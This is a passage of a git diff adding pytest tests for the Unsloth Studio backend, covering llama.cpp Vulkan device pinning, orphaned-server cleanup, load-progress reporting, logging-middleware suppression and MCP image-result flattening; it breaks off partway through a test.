+    captured: dict = {}
+    rows = [_row(0, 23 * GIB, is_igpu = 0, total_bytes = 24 * GIB)]
+    with _mock_probe(rows, captured_env = captured):
+        LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
+    assert captured.get("GGML_VK_VISIBLE_DEVICES") == "1", captured
+
+
+def test_vulkan_pin_args_uses_device_names_not_env_mask():
+    # Pin by compact device name via --device (the space the probe reports and
+    # the registry names), never by writing a compact ordinal into the raw
+    # GGML_VK_VISIBLE_DEVICES index space.
+    assert LlamaCppBackend._vulkan_pin_args([0]) == ["--device", "Vulkan0"]
+    assert LlamaCppBackend._vulkan_pin_args([1, 2]) == ["--device", "Vulkan1,Vulkan2"]
+    assert LlamaCppBackend._vulkan_pin_args(None) == []
+    assert LlamaCppBackend._vulkan_pin_args([]) == []
+
+
+def test_vulkan_only_build_is_detected(tmp_path):
+    binary = _make_vulkan_install(tmp_path)
+    assert LlamaCppBackend._is_vulkan_backend(binary) is True
+
+
+def test_multi_backend_build_is_not_vulkan_only(tmp_path):
+    # A custom build that ships CUDA (or HIP) alongside Vulkan must NOT be
+    # treated as Vulkan-only, or its CUDA GPU would be probed/pinned as a Vulkan
+    # device; defer to the CUDA/HIP path instead.
+    binary = _make_vulkan_install(tmp_path)
+    cuda = "ggml-cuda.dll" if sys.platform == "win32" else "libggml-cuda.so"
+    (_llama_lib_dir(binary) / cuda).write_bytes(b"stub")
+    assert LlamaCppBackend._is_vulkan_backend(binary) is False
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason = "shell wrapper fallback is POSIX")
+def test_shell_wrapper_entrypoint_resolves_to_real_lib_dir(tmp_path):
+    # create_exec_entrypoint falls back to a #!/bin/sh wrapper at the install root
+    # when it cannot symlink; _find_llama_server_binary returns that root entrypoint,
+    # so _llama_lib_dir must follow the wrapper's exec target to build/bin -- else
+    # _is_vulkan_backend misses libggml-vulkan.so and the Vulkan probe/pin silently
+    # never engage on a valid Vulkan install.
+    import os
+
+    binary = _make_vulkan_install(tmp_path)  # tmp_path/build/bin/llama-server + vulkan lib
+    bindir = Path(binary).parent
+    wrapper = tmp_path / "llama-server"
+    wrapper.write_text('#!/bin/sh\nexec "$(dirname "$0")/build/bin/llama-server" "$@"\n')
+    os.chmod(wrapper, 0o755)
+    assert _llama_lib_dir(str(wrapper)) == bindir
+    assert LlamaCppBackend._is_vulkan_backend(str(wrapper)) is True
+
+
+if __name__ == "__main__":
+    raise SystemExit(pytest.main([__file__, "-v"]))
diff --git a/studio/backend/tests/test_llama_cpp_wait_for_health.py b/studio/backend/tests/test_llama_cpp_wait_for_health.py
index 1ba6c9f7b5..82c5b4931a 100644
--- a/studio/backend/tests/test_llama_cpp_wait_for_health.py
+++ b/studio/backend/tests/test_llama_cpp_wait_for_health.py
@@ -67,6 +67,15 @@ class TestWaitForHealthResilience:
         monkeypatch.setattr(httpx, "get", lambda *a, **kw: ok_resp)
         assert b._wait_for_health(timeout = 1.0, interval = 0.01) is True
 
+    def test_timeout_records_marker_for_classification(self, monkeypatch):
+        """A live-but-never-healthy server leaves a marker so the failure is
+        classified as a /health timeout, not a bad GGUF (#5740)."""
+        b = _make_backend()
+        b._process.poll.return_value = None
+        monkeypatch.setattr(httpx, "get", lambda *a, **kw: mock.Mock(status_code = 503))
+        assert b._wait_for_health(timeout = 0.02, interval = 0.01) is False
+        assert any("health check timed out" in ln for ln in b._stdout_lines)
+
     def test_read_error_loops_to_subprocess_poll(self, monkeypatch):
         """WinError 10054 (httpx.ReadError) must be swallowed; the next iteration sees the dead subprocess and returns False with a structured exit-code log."""
         b = _make_backend()
diff --git a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
index 3c21f41701..d0213f6079 100644
--- a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
+++ b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py
@@ -373,6 +373,7 @@ def test_kill_orphaned_servers_returns_count():
     with (
         patch.dict(sys.modules, {"psutil": fake_psutil}),
         patch.dict(os.environ, {"LLAMA_SERVER_PATH": fake_path}),
+        patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)),
     ):
         n = LlamaCppBackend._kill_orphaned_servers()
     assert n == 1, "only the Studio-owned orphan should be counted"
@@ -384,11 +385,53 @@ def test_kill_orphaned_servers_returns_count():
     with (
         patch.dict(sys.modules, {"psutil": fake_psutil}),
         patch.dict(os.environ, {"LLAMA_SERVER_PATH": fake_path}),
+        patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)),
     ):
         assert LlamaCppBackend._kill_orphaned_servers() == 0
     assert killed == []
 
 
+def test_kill_orphaned_servers_spares_live_parent():
+    """A Studio-owned llama-server whose parent is still running is not an
+    orphan (a live Studio or the user's shell owns it) and must never be
+    killed; only the true orphan (parent gone) is reaped."""
+    import os
+
+    mypid = os.getpid()
+    fake_path = "/tmp/unsloth-test-llama/llama-server"
+    killed: list[int] = []
+
+    class _FakeProc:
+        def __init__(self, pid, name, exe):
+            self.info = {"pid": pid, "name": name, "exe": exe}
+
+        def kill(self):
+            killed.append(self.info["pid"])
+
+    live_parent = _FakeProc(mypid + 1, "llama-server", fake_path)
+    true_orphan = _FakeProc(mypid + 2, "llama-server", fake_path)
+
+    fake_psutil = _types.ModuleType("psutil")
+    fake_psutil.NoSuchProcess = type("NoSuchProcess", (Exception,), {})
+    fake_psutil.AccessDenied = type("AccessDenied", (Exception,), {})
+    fake_psutil.ZombieProcess = type("ZombieProcess", (Exception,), {})
+    fake_psutil.process_iter = lambda attrs = None: [live_parent, true_orphan]
+
+    with (
+        patch.dict(sys.modules, {"psutil": fake_psutil}),
+        patch.dict(os.environ, {"LLAMA_SERVER_PATH": fake_path}),
+        patch.object(LlamaCppBackend, "_reap_recorded_pid", staticmethod(lambda: 0)),
+        patch.object(
+            LlamaCppBackend,
+            "_pid_parent_is_alive",
+            staticmethod(lambda pid: pid == mypid + 1),
+        ),
+    ):
+        n = LlamaCppBackend._kill_orphaned_servers()
+    assert n == 1, "only the true orphan should be reaped"
+    assert killed == [mypid + 2], "the live-parent server must be spared"
+
+
 def test_startup_reaper_arms_settle_timestamp():
     """__init__ arms ``_last_kill_monotonic`` when the startup reaper kills an
     orphan (so the first load_model waits for VRAM to settle), and leaves the
diff --git a/studio/backend/tests/test_llama_route_timeouts.py b/studio/backend/tests/test_llama_route_timeouts.py
index 24866bd03e..b4666e3d18 100644
--- a/studio/backend/tests/test_llama_route_timeouts.py
+++ b/studio/backend/tests/test_llama_route_timeouts.py
@@ -203,3 +203,87 @@ def test_preheader_send_cleanup_on_disconnect_and_cancel():
 
     asyncio.run(_run(False))
     asyncio.run(_run(True))
+
+
+def test_stream_stall_timeout_callable_re_resolved_each_read():
+    # The OpenAI passthrough passes a callable so the stall bound can switch to
+    # the short post-terminal grace mid-stream; it must be re-resolved per read,
+    # not captured once at generator start.
+    async def _run():
+        response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}}))
+        values = iter([100.0, 2.0])
+        seen = []
+
+        class _Request:
+            async def is_disconnected(self):
+                return False
+
+        class _Items:
+            def __init__(self):
+                self.count = 0
+
+            async def __anext__(self):
+                self.count += 1
+                if self.count > 3:
+                    raise StopAsyncIteration
+                return "data: {}"
+
+        async for _ in inf_mod._aiter_llama_stream_items(
+            _Items(),
+            cancel_event = threading.Event(),
+            request = _Request(),
+            response = response,
+            first_token_deadline = time.monotonic() + 1,
+            post_first_item_read_timeout_s = lambda: next(values, 5.0),
+        ):
+            seen.append(response.request.extensions["timeout"].get("read"))
+
+        assert len(seen) == 3
+        # The callable is resolved right after the first item (arming the
+        # post-first window) and again before each later read, consuming
+        # successive values.
+        assert seen[0] == 100.0
+        assert 1.0 <= seen[1] <= 2.0
+        assert 4.0 <= seen[2] <= 5.0
+
+    asyncio.run(_run())
+
+
+def test_stream_stall_timeout_disabled_clears_read_timeout():
+    # UNSLOTH_OPENAI_COMPAT_STREAM_STALL_TIMEOUT=0 disables the stall guard, so
+    # the callable returns None. Once a chunk has arrived the leftover
+    # first-token read timeout must be cleared, else a long post-first-chunk gap
+    # trips a stale deadline the operator asked to turn off.
+    async def _run():
+        response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}}))
+        seen = []
+
+        class _Request:
+            async def is_disconnected(self):
+                return False
+
+        class _Items:
+            def __init__(self):
+                self.count = 0
+
+            async def __anext__(self):
+                self.count += 1
+                if self.count > 2:
+                    raise StopAsyncIteration
+                return "data: {}"
+
+        async for _ in inf_mod._aiter_llama_stream_items(
+            _Items(),
+            cancel_event = threading.Event(),
+            request = _Request(),
+            response = response,
+            first_token_deadline = time.monotonic() + 5,
+            post_first_item_read_timeout_s = lambda: None,
+        ):
+            seen.append(response.request.extensions["timeout"].get("read"))
+
+        # The first-token path armed a finite read timeout; after the first chunk
+        # with the guard disabled, it is cleared to None on every subsequent read.
+        assert seen == [None, None], seen
+
+    asyncio.run(_run())
diff --git a/studio/backend/tests/test_load_progress_ready_fraction.py b/studio/backend/tests/test_load_progress_ready_fraction.py
new file mode 100644
index 0000000000..2e499cd8c6
--- /dev/null
+++ b/studio/backend/tests/test_load_progress_ready_fraction.py
@@ -0,0 +1,166 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""load_progress() must report a complete load once llama-server is healthy.
+
+With layers offloaded to VRAM (-ngl) the server releases the mmap'd weight pages
+after upload, so its VmRSS sinks back well below the shard total. The raw RSS
+fraction would then sit at a partial (~8%) value forever and freeze a
+fraction-driven progress bar even though the model is ready -- the "stuck around
+8% on the second pass" symptom in #5740. In the ready phase the fraction must be
+1.0 regardless of resident set size.
+"""
+
+from __future__ import annotations
+
+import io
+import sys
+import types
+from pathlib import Path
+from unittest.mock import patch
+
+import pytest
+
+# Stub heavy/unavailable deps before importing the module under test, so a
+# targeted run in the lightweight backend env (no structlog/httpx) still
+# collects. setdefault keeps the real modules when they are installed. Mirrors
+# test_llama_cpp_load_progress_matrix.py.
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+sys.modules.setdefault("structlog", types.ModuleType("structlog"))
+
+_httpx_stub = types.ModuleType("httpx")
+for _exc_name in (
+    "ConnectError",
+    "TimeoutException",
+    "ReadTimeout",
+    "ReadError",
+    "RemoteProtocolError",
+    "CloseError",
+):
+    setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {}))
+
+
+class _FakeTimeout:
+    def __init__(self, *a, **kw):
+        pass
+
+
+_httpx_stub.Timeout = _FakeTimeout
+_httpx_stub.Client = type(
+    "Client",
+    (),
+    {
+        "__init__": lambda self, **kw: None,
+        "__enter__": lambda self: self,
+        "__exit__": lambda self, *a: None,
+    },
+)
+sys.modules.setdefault("httpx", _httpx_stub)
+
+from core.inference.llama_cpp import LlamaCppBackend  # noqa: E402
+
+
+def _backend(
+    gguf_path,
+    *,
+    healthy,
+    pid = 4321,
+):
+    # Bare instance: exercise load_progress() without the heavy real __init__.
+    be = object.__new__(LlamaCppBackend)
+    be._process = types.SimpleNamespace(pid = pid)
+    be._gguf_path = str(gguf_path)
+    be._healthy = healthy
+    return be
+
+
+def _gguf(tmp_path, size_bytes):
+    f = tmp_path / "model-Q4_K_M.gguf"
+    f.write_bytes(b"\0" * size_bytes)
+    return f
+
+
+def test_ready_reports_complete_despite_low_rss(tmp_path, monkeypatch):
+    # Healthy, but VmRSS has dropped to ~8% of the shard total after VRAM upload.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    be = _backend(_gguf(tmp_path, 10000), healthy = True)
+    p = be.load_progress()
+    assert p["phase"] == "ready"
+    assert p["fraction"] == 1.0  # not 0.08
+    assert p["bytes_loaded"] == p["bytes_total"] == 10000
+
+
+def test_mmap_phase_reports_raw_rss_fraction(tmp_path, monkeypatch):
+    # Still loading: the bar should track real residency, not jump to 1.0.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    be = _backend(_gguf(tmp_path, 10000), healthy = False)
+    p = be.load_progress()
+    assert p["phase"] == "mmap"
+    assert p["fraction"] == 0.08
+    assert p["bytes_loaded"] == 800
+    assert p["bytes_total"] == 10000
+
+
+def test_progress_fraction_is_monotonic(tmp_path, monkeypatch):
+    # RSS peaks during page-in, then drops after -ngl offload; the bar must hold
+    # its high-water mark instead of collapsing back to ~8% (#5740).
+    be = _backend(_gguf(tmp_path, 10000), healthy = False)
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 9000))
+    assert be.load_progress()["fraction"] == 0.9
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    p = be.load_progress()
+    assert p["fraction"] == 0.9
+    assert p["bytes_loaded"] == 9000
+
+
+def test_ready_without_shard_size_still_completes(tmp_path, monkeypatch):
+    # bytes_total unknown (file unstattable): fraction must still read complete.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800))
+    be = _backend(tmp_path / "missing.gguf", healthy = True)
+    p = be.load_progress()
+    assert p["phase"] == "ready"
+    assert p["fraction"] == 1.0
+    assert p["bytes_total"] == 0
+
+
+def test_none_when_no_process(tmp_path):
+    be = _backend(_gguf(tmp_path, 10000), healthy = True)
+    be._process = None
+    assert be.load_progress() is None
+
+
+def test_none_when_rss_unreadable(tmp_path, monkeypatch):
+    # /proc unavailable (macOS/Windows) or unreadable -> no progress payload.
+    monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: None))
+    be = _backend(_gguf(tmp_path, 10000), healthy = False)
+    assert be.load_progress() is None
+
+
+def test_read_rss_bytes_absent_pid_is_none():
+    # A pid with no readable /proc entry (or no /proc at all) yields None, never
+    # raises.
+    assert LlamaCppBackend._read_rss_bytes(2**31 - 1) is None
+
+
+def test_read_rss_bytes_valueless_line_is_none():
+    # A "VmRSS:" line with no value column must not raise (IndexError) -> None.
+    def fake_open(path, *a, **kw):
+        if str(path).startswith("/proc/"):
+            return io.StringIO("Name:\ttest\nVmRSS:\n")
+        return open(path, *a, **kw)
+
+    with patch("builtins.open", side_effect = fake_open):
+        assert LlamaCppBackend._read_rss_bytes(4321) is None
+
+
+@pytest.mark.skipif(not sys.platform.startswith("linux"), reason = "/proc is Linux-only")
+def test_read_rss_bytes_reads_self_on_linux():
+    rss = LlamaCppBackend._read_rss_bytes(__import__("os").getpid())
+    assert isinstance(rss, int) and rss > 0
diff --git a/studio/backend/tests/test_load_progress_throttle.py b/studio/backend/tests/test_load_progress_throttle.py
new file mode 100644
index 0000000000..bc839b17b8
--- /dev/null
+++ b/studio/backend/tests/test_load_progress_throttle.py
@@ -0,0 +1,48 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The /api/inference/load-progress throttle: one line per 10% step, reset per load."""
+
+import pytest
+
+import routes.inference as ri
+
+
+class _Capture:
+    def __init__(self):
+        self.events = []
+
+    def info(self, event, **kw):
+        self.events.append((event, kw))
+
+
+@pytest.fixture
+def cap(monkeypatch):
+    capture = _Capture()
+    monkeypatch.setattr(ri, "logger", capture)
+    ri._reset_load_progress_step()
+    return capture
+
+
+def _percents(cap):
+    return [kw["percent"] for _event, kw in cap.events]
+
+
+def test_new_load_first_step_logs_after_reset(cap):
+    # Load A reaches 100%.
+    ri._log_load_progress_step(1.0, "ready")
+    assert _percents(cap) == [100]
+    # Same value keeps deduping (steady poll on a finished load stays quiet).
+    ri._log_load_progress_step(1.0, "ready")
+    assert _percents(cap) == [100]
+    # A new load arms the throttle, so a cached load B that reports 100% on its
+    # first poll still emits its progress line instead of hitting step == prev.
+    ri._reset_load_progress_step()
+    ri._log_load_progress_step(1.0, "ready")
+    assert _percents(cap) == [100, 100]
+
+
+def test_steady_poll_dedups_within_a_load(cap):
+    for _ in range(3):
+        ri._log_load_progress_step(0.3, "mmap")
+    assert _percents(cap) == [30]  # one line per 10% step, not one per poll
diff --git a/studio/backend/tests/test_local_llama_cpp_link.py b/studio/backend/tests/test_local_llama_cpp_link.py
new file mode 100644
index 0000000000..c78c029d91
--- /dev/null
+++ b/studio/backend/tests/test_local_llama_cpp_link.py
@@ -0,0 +1,137 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Behavioral tests for the --with-llama-cpp-dir 'unmanaged local link' contract.
+
+When the canonical llama.cpp dir is a symlink (POSIX) / junction (Windows) to a
+user's own checkout, Studio must treat it as externally managed:
+  - the in-app updater must not offer or apply a prebuilt over the link
+  - orphan cleanup must not kill a llama-server the user launched from that tree
+
+These exercise real link behavior rather than grepping the scripts.
+"""
+
+import os
+import subprocess
+from pathlib import Path
+
+import pytest
+
+from utils import llama_cpp_update as u
+from core.inference.llama_cpp import LlamaCppBackend
+
+
+def _make_link(link: Path, target: Path) -> None:
+    """Create a directory junction (Windows) / symlink (POSIX); neither needs
+    elevation."""
+    target.mkdir(parents = True, exist_ok = True)
+    if os.name == "nt":
+        subprocess.run(
+            ["cmd", "/c", "mklink", "/J", str(link), str(target)],
+            check = True,
+            capture_output = True,
+            text = True,
+        )
+    else:
+        link.symlink_to(target, target_is_directory = True)
+
+
+def _server_subpath() -> Path:
+    return Path(
+        "build/bin/Release/llama-server.exe" if os.name == "nt" else "build/bin/llama-server"
+    )
+
+
+class _FakeProc:
+    def __init__(self, pid: int, exe: str) -> None:
+        self.info = {"pid": pid, "name": "llama-server", "exe": exe}
+        self.killed = False
+
+    def kill(self) -> None:
+        self.killed = True
+
+
+def test_is_external_link_detects_link_vs_plain_dir(tmp_path: Path) -> None:
+    plain = tmp_path / "plain"
+    plain.mkdir()
+    assert u._is_external_link(plain) is False
+
+    link = tmp_path / "link"
+    _make_link(link, tmp_path / "tgt")
+    assert u._is_external_link(link) is True
+
+
+def test_active_install_is_local_link(tmp_path: Path) -> None:
+    link = tmp_path / "llama.cpp"
+    _make_link(link, tmp_path / "tgt")
+    binary = str(link / _server_subpath())
+    assert u._active_install_is_local_link(binary) is True
+
+    # A plain (non-link) llama.cpp dir is Studio-managed, not a local link.
+    plain = tmp_path / "plain" / "llama.cpp"
+    plain.mkdir(parents = True)
+    assert u._active_install_is_local_link(str(plain / _server_subpath())) is False
+
+
+def test_get_update_status_reports_local_link(tmp_path: Path, monkeypatch) -> None:
+    link = tmp_path / "llama.cpp"
+    _make_link(link, tmp_path / "tgt")
+    monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath()))
+    st = u.get_update_status()
+    assert st["supported"] is False
+    assert st["update_available"] is False
+    assert st["local_link"] is True
+
+
+def test_start_update_refuses_local_link(tmp_path: Path, monkeypatch) -> None:
+    link = tmp_path / "llama.cpp"
+    _make_link(link, tmp_path / "tgt")
+    monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath()))
+    res = u.start_update()
+    assert res["started"] is False
+    assert res["reason"] == "local_link"
+
+
+def _run_orphan_scan(monkeypatch, studio_root: Path, fake: _FakeProc) -> int:
+    # psutil drives the cross-platform process scan; skip (rather than error) if a
+    # minimal test env lacks it. CI installs it so these tests actually run.
+    psutil = pytest.importorskip("psutil")
+
+    monkeypatch.setattr(
+        LlamaCppBackend,
+        "_resolved_studio_root_and_is_legacy",
+        staticmethod(lambda: (studio_root.resolve(), False)),
+    )
+    monkeypatch.setattr(LlamaCppBackend, "_reap_recorded_pid", staticmethod(lambda: 0))
+    monkeypatch.setattr(psutil, "process_iter", lambda attrs = None: iter([fake]))
+    return LlamaCppBackend._kill_orphaned_servers()
+
+
+def test_orphan_cleanup_spares_local_link_tree(tmp_path: Path, monkeypatch) -> None:
+    studio_root = tmp_path / "studio-home"
+    studio_root.mkdir()
+    external = tmp_path / "external"
+    (external / _server_subpath().parent).mkdir(parents = True)
+    (external / _server_subpath()).write_text("x")
+    _make_link(studio_root / "llama.cpp", external)
+
+    exe_under_link = str((external / _server_subpath()).resolve())
+    fake = _FakeProc(os.getpid() + 777, exe_under_link)
+    killed = _run_orphan_scan(monkeypatch, studio_root, fake)
+    assert killed == 0
+    assert fake.killed is False
+
+
+def test_orphan_cleanup_kills_under_real_root(tmp_path: Path, monkeypatch) -> None:
+    # Control: a real (non-link) managed root still gets its orphan reaped, so
+    # the spare-the-link test above is meaningful (not a no-op).
+    studio_root = tmp_path / "studio-home"
+    bin_dir = studio_root / "llama.cpp" / _server_subpath().parent
+    bin_dir.mkdir(parents = True)
+    exe = studio_root / "llama.cpp" / _server_subpath()
+    exe.write_text("x")
+
+    fake = _FakeProc(os.getpid() + 888, str(exe.resolve()))
+    killed = _run_orphan_scan(monkeypatch, studio_root, fake)
+    assert killed == 1
+    assert fake.killed is True
diff --git a/studio/backend/tests/test_logging_middleware.py b/studio/backend/tests/test_logging_middleware.py
index 89061a5cbd..d59e4dbee2 100644
--- a/studio/backend/tests/test_logging_middleware.py
+++ b/studio/backend/tests/test_logging_middleware.py
@@ -135,7 +135,7 @@ def test_duplicate_get_within_window_deduped(logs, monkeypatch):
 
     mw = LoggingMiddleware(app)
     for _ in range(3):
-        _run(mw(_http_scope("/api/chat/projects"), _noop_receive, send))
+        _run(mw(_http_scope("/api/models/browse-folders"), _noop_receive, send))
 
     # Only the first of the identical GET/200 burst is logged.
     assert len(logs.events) == 1
@@ -183,11 +183,11 @@ def test_quiet_poll_paths_use_longer_heartbeat_window(logs, monkeypatch):
     for _ in range(3):
         _run(mw(_http_scope("/api/inference/monitor"), _noop_receive, send))  # quiet
     for _ in range(3):
-        _run(mw(_http_scope("/api/chat/projects"), _noop_receive, send))  # normal
+        _run(mw(_http_scope("/api/models/browse-folders"), _noop_receive, send))  # normal
 
     paths = [e[2]["path"] for e in logs.events]
     assert paths.count("/api/inference/monitor") == 1  # collapsed to one heartbeat
-    assert paths.count("/api/chat/projects") == 3  # base dedup off -> all logged
+    assert paths.count("/api/models/browse-folders") == 3  # base dedup off -> all logged
 
 
 def test_distinct_query_strings_are_not_deduped(logs, monkeypatch):
@@ -242,3 +242,118 @@ def test_fastapi_static_asset_success_skips_log(tmp_path, logs):
     assert response.status_code == 200
     assert response.text == "body { color: black; }"
     assert len(logs.events) == log_count
+
+
+def _status_app(status):
+    async def app(scope, receive, send):
+        await send({"type": "http.response.start", "status": status, "headers": []})
+        await send({"type": "http.response.body", "body": b""})
+
+    return app
+
+
+async def _drop(message):
+    pass
+
+
+def _paths_logged(logs):
+    return [e[2]["path"] for e in logs.events]
+
+
+def test_quiet_success_get_2xx_suppressed(logs):
+    # A GET/2xx poll on a quiet-success path logs nothing; the signal is in events.
+    for path in ("/api/chat/threads", "/api/export/status", "/api/hub/download-status"):
+        _run(LoggingMiddleware(_status_app(200))(_http_scope(path), _noop_receive, _drop))
+    assert logs.events == []
+
+
+def test_chat_detail_and_message_reads_still_log(logs):
+    # Only the exact list polls are suppressed; detail/message reads carry latency
+    # signal and keep their access line.
+    for path in (
+        "/api/chat/threads/abc123",
+        "/api/chat/threads/abc123/messages",
+        "/api/chat/threads/abc123/messages/m1",
+        "/api/chat/projects/p1",
+    ):
+        _run(LoggingMiddleware(_status_app(200))(_http_scope(path), _noop_receive, _drop))
+    assert _paths_logged(logs) == [
+        "/api/chat/threads/abc123",
+        "/api/chat/threads/abc123/messages",
+        "/api/chat/threads/abc123/messages/m1",
+        "/api/chat/projects/p1",
+    ]
+
+
+def test_quiet_success_is_get_only(logs):
+    # Mutations on the same paths still log (suppression is GET-only).
+    for method in ("POST", "PUT", "DELETE"):
+        _run(
+            LoggingMiddleware(_status_app(200))(
+                _http_scope("/api/chat/threads", method = method), _noop_receive, _drop
+            )
+        )
+    assert len(logs.events) == 3
+
+
+def test_chat_pre_auth_401_suppressed_other_errors_logged(logs):
+    # The transient bootstrap 401 on a chat list GET is dropped, but a 500 (or any
+    # other status) still logs so real failures stay visible.
+    _run(
+        LoggingMiddleware(_status_app(401))(_http_scope("/api/chat/projects"), _noop_receive, _drop)
+    )
+    assert logs.events == []
+    _run(
+        LoggingMiddleware(_status_app(500))(_http_scope("/api/chat/projects"), _noop_receive, _drop)
+    )
+    assert _paths_logged(logs) == ["/api/chat/projects"]
+
+
+def test_chat_401_logged_after_first_auth_refresh(logs):
+    # A chat 401 before any successful token refresh is the bootstrap race and is
+    # dropped, but once /api/auth/refresh has succeeded on this instance later chat
+    # 401s are real failures and stay visible.
+    responses: dict[tuple[str, str], int] = {}
+
+    async def app(scope, receive, send):
+        status = responses.get((scope["method"], scope["path"]), 200)
+        await send({"type": "http.response.start", "status": status, "headers": []})
+        await send({"type": "http.response.body", "body": b""})
+
+    mw = LoggingMiddleware(app)
+
+    responses[("GET", "/api/chat/threads")] = 401
+    _run(mw(_http_scope("/api/chat/threads"), _noop_receive, _drop))
+    assert logs.events == []  # bootstrap race: suppressed
+
+    # A successful refresh (POST, always logged) closes the bootstrap window.
+    responses[("POST", "/api/auth/refresh")] = 200
+    _run(mw(_http_scope("/api/auth/refresh", method = "POST"), _noop_receive, _drop))
+    assert _paths_logged(logs) == ["/api/auth/refresh"]
+
+    # Now the same chat 401 is a real failure and logs.
+    _run(mw(_http_scope("/api/chat/threads"), _noop_receive, _drop))
+    assert _paths_logged(logs) == ["/api/auth/refresh", "/api/chat/threads"]
+
+
+def test_export_status_error_still_logs(logs):
+    # 2xx suppressed, but an HTTP-level error on export status remains visible.
+    _run(
+        LoggingMiddleware(_status_app(200))(_http_scope("/api/export/status"), _noop_receive, _drop)
+    )
+    assert logs.events == []
+    _run(
+        LoggingMiddleware(_status_app(500))(_http_scope("/api/export/status"), _noop_receive, _drop)
+    )
+    assert _paths_logged(logs) == ["/api/export/status"]
+
+
+def test_legacy_download_progress_heartbeats_not_suppressed(logs, monkeypatch):
+    # Legacy /api/models download polls emit no progress events, so they heartbeat
+    # (first hit logs, the burst collapses) rather than vanish entirely.
+    monkeypatch.setattr(hmod, "_ACCESS_LOG_DEDUP_MS", 0)
+    monkeypatch.setattr(hmod, "_QUIET_POLL_DEDUP_MS", 1000)
+    mw = LoggingMiddleware(_status_app(200))
+    for _ in range(3):
+        _run(mw(_http_scope("/api/models/download-progress"), _noop_receive, _drop))
+    assert _paths_logged(logs) == ["/api/models/download-progress"]
diff --git a/studio/backend/tests/test_mcp_flatten_result.py b/studio/backend/tests/test_mcp_flatten_result.py
new file mode 100644
index 0000000000..7daee799f9
--- /dev/null
+++ b/studio/backend/tests/test_mcp_flatten_result.py
@@ -0,0 +1,177 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import contextlib
+import json
+import sys
+from pathlib import Path
+from types import SimpleNamespace
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference import mcp_client
+from core.inference.mcp_client import (
+    MAX_IMAGE_PAYLOAD_CHARS,
+    MCP_IMAGES_SENTINEL,
+    _flatten_result,
+    call_tool_sync,
+)
+from core.inference.tool_loop_controller import is_tool_error, strip_result_for_model
+
+PNG_B64 = "iVBORw0KGgoAAAANSUhEUg=="
+
+
+def _text(value: str) -> SimpleNamespace:
+    return SimpleNamespace(type = "text", text = value)
+
+
+def _image(data: str = PNG_B64, mime: str = "image/png") -> SimpleNamespace:
+    return SimpleNamespace(type = "image", data = data, mimeType = mime)
+
+
+def _result(
+    *blocks,
+    is_error = False,
+    structured = None,
+) -> SimpleNamespace:
+    return SimpleNamespace(
+        content = list(blocks),
+        is_error = is_error,
+        structured_content = structured,
+    )
+
+
+def test_text_only_result_unchanged():
+    assert _flatten_result(_result(_text("hello"))) == "hello"
+
+
+def test_image_only_result_keeps_image_and_notes_model():
+    flat = _flatten_result(_result(_image()))
+    body, payload = flat.split("\n" + MCP_IMAGES_SENTINEL, 1)
+    assert body == "[1 image attached; displayed to the user]"
+    assert json.loads(payload) == [{"data": PNG_B64, "mimeType": "image/png"}]
+
+
+def test_text_plus_image_keeps_both():
+    flat = _flatten_result(_result(_text("Took a screenshot"), _image()))
+    body, payload = flat.split("\n" + MCP_IMAGES_SENTINEL, 1)
+    assert body == "Took a screenshot\n[1 image attached; displayed to the user]"
+    assert json.loads(payload)[0]["mimeType"] == "image/png"
+
+
+def test_multiple_images_pluralized():
+    flat = _flatten_result(_result(_image(), _image(mime = "image/jpeg")))
+    body, payload = flat.split("\n" + MCP_IMAGES_SENTINEL, 1)
+    assert "[2 images attached; displayed to the user]" in body
+    assert [img["mimeType"] for img in json.loads(payload)] == ["image/png", "image/jpeg"]
+
+
+def test_strip_result_for_model_drops_image_payload():
+    flat = _flatten_result(_result(_text("Took a screenshot"), _image()))
+    stripped = strip_result_for_model(flat)
+    assert stripped == "Took a screenshot\n[1 image attached; displayed to the user]"
+    assert PNG_B64 not in stripped
+
+
+def test_strip_preserves_literal_mcp_sentinel_in_text():
+    # A tool that legitimately returns text containing the marker (e.g. reading
+    # source/docs that quote it) must not be truncated: the suffix is not a
+    # valid JSON image array.
